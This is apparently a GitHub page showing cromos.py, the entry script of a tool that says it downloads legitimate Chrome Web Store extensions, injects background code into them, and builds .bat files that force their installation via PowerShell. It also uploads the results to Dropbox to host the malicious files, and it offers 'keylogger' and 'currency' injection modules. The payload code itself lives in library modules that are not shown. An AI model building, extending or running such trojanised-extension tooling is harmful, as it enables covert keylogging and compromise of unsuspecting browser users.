-
Notifications
You must be signed in to change notification settings - Fork 35
/
Copy pathcromos.py
executable file
·75 lines (55 loc) · 2.25 KB
/
cromos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/python
import argparse
import sys
from libs.download import Download
from libs.drive import Drive
from libs.build import Build
from libs.colors import Colors
from libs.loader import Loader
import os
def main() :
global color
color = Colors()
def banner() :
banner = """
( ) * ) (
( )\ ) ( /( ( ` ( /( )\ )
)\ (()/( )\()) )\))( )\()) (()/(
(((_) /(_)) ((_)\ ((_)()\ ((_)\ /(_))
)\___ (_)) ((_) (_()((_) ((_) (_))
((/ __| | _ \ / _ \ | \/ | / _ \ / __|
| (__ | / | (_) | | |\/| | | (_) | \__ \
\___| |_|_\ \___/ |_| |_| \___/ |___/
"""
print("\r{}".format(banner))
print("Version: {} Builds: {} Modules: {}\n".center(48, " ").format(color.status("1.0"), color.status(1), color.status(2)))
def help () :
global extension, builds, token, modules
parser = argparse.ArgumentParser(description="Cromos is a tool for downloading legitimate extensions of the Chrome Web Store and inject codes in the background of the application and more cromos create executable files to force installation via PowerShell for example, and also upload files to dropbox to host the malicious files.", usage="python cromos.py --help")
parser.add_argument('--extension', help="Download a extension from Google Chrome Webstore", type=str)
parser.add_argument('--load', help='Load a script to run in background with the application', type=str)
parser.add_argument('--build', help='Build types .bat', type=str)
parser.add_argument('--token', help='Token for uploading files in Dropbox', type=str)
args = parser.parse_args()
extension = args.extension # Extensao ID
modules = args.load
token = args.token # API key par ao dropbox
builds = args.build
if len(sys.argv) <= 2:
parser.print_help()
banner()
help()
if extension:
download = Download(extension)
if modules == "currency" or modules == "keylogger" :
loader = Loader(extension, modules).inject()
if token:
if not len(token) == 64:
print("{} Token invalid, enter a valid.".format(color.error("[!]")))
sys.exit(1)
else :
if builds == "bat":
Build(extension, builds, token).builder()
Drive(extension, builds, token).upload()
if __name__== "__main__" :
main()